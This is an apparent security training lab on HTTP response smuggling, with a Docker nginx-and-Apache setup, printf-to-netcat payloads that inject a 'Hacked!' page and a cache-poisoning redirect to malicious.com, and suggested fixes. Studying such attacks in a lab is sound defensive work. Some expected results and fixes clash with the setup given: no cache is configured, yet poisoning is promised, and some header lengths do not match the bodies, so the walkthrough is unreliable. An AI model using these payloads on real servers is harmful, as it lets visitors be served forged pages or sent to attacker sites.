Exercise 34: HTTP Response Smuggling

Objective

Learn how to exploit HTTP Response Smuggling vulnerabilities to bypass security mechanisms, poison caches, and manipulate responses between web servers and intermediaries. Understand how to mitigate this risk through proper request parsing and validation.

---

Scenario

You are testing a web application that uses a front-end proxy (e.g., a load balancer) and a back-end server. Due to inconsistencies in HTTP request parsing between the proxy and the back-end server, an attacker can craft malicious requests that allow them to inject unauthorized responses, bypass security filters, or poison caches.

---

Lab Setup

Prerequisites:

• Basic understanding of HTTP protocol.
• Docker installed (for setting up proxy and back-end servers).
• Tools like curl or Burp Suite for testing.

Step 1: Create the Vulnerable Web Application

1. Docker Setup for Proxy and Backend
   • Create a docker-compose.yml: version: '3' services: frontend: image: nginx:latest ports: - "8080:80" volumes: - ./nginx.conf:/etc/nginx/nginx.conf backend: image: httpd:latest volumes: - ./backend:/usr/local/apache2/htdocs/
2. Nginx Proxy Configuration (nginx.conf)
   • Configure Nginx to forward requests to the back-end server: events {} http { server { listen 80; location / { proxy_pass http://backend; } } }
3. Backend Web Page (backend/index.html)
   • Simple backend page: <h1>Welcome to the Backend Server!</h1>
4. Running the Lab
   • Start the lab environment: docker-compose up -d
   • Access the site at http://localhost:8080.

---

Exploitation Steps

Step 1: Injecting a Smuggled Response

1. Send a crafted HTTP request using curl: printf 'POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 20\r\n\r\n<h1>Hacked!</h1>' | nc localhost 8080

Expected Result:

• The response contains <h1>Hacked!</h1>, indicating that the response was smuggled.

Step 2: Cache Poisoning Attack

1. Modify the smuggled response to poison the cache: printf 'POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nHTTP/1.1 302 Found\r\nLocation: http://malicious.com\r\n\r\n' | nc localhost 8080

Expected Result:

• Future visitors are redirected to http://malicious.com due to the poisoned cache.

---

Solution and Prevention

Problem Analysis

• The server mishandles HTTP requests with mixed headers (Content-Length and Transfer-Encoding), allowing smuggling.

Fixing the Vulnerability

1. Strict HTTP Parsing on Proxies and Backends
   • Ensure consistent parsing across servers.
   • Example for Nginx: proxy_request_buffering off; proxy_http_version 1.1; proxy_set_header Connection "close";
2. Remove Ambiguous Headers
   • Reject requests with both Content-Length and Transfer-Encoding headers.
3. Enable Security Modules
   • Use web server modules like ModSecurity to detect and block smuggling attempts.
4. Deploy HTTP/2 or Secure Protocols
   • HTTP/2 has built-in protections against smuggling.

---

Testing After Fix

1. Resend the previous smuggling payload: printf 'POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 20\r\n\r\n<h1>Hacked!</h1>' | nc localhost 8080
2. Expected Result:
   • The server rejects the request or responds with an error, preventing smuggling.

---

Conclusion

In this lab, you exploited HTTP Response Smuggling to inject unauthorized responses and conduct cache poisoning. You also learned how to mitigate this vulnerability by ensuring consistent request parsing, rejecting ambiguous headers, and enabling security mechanisms.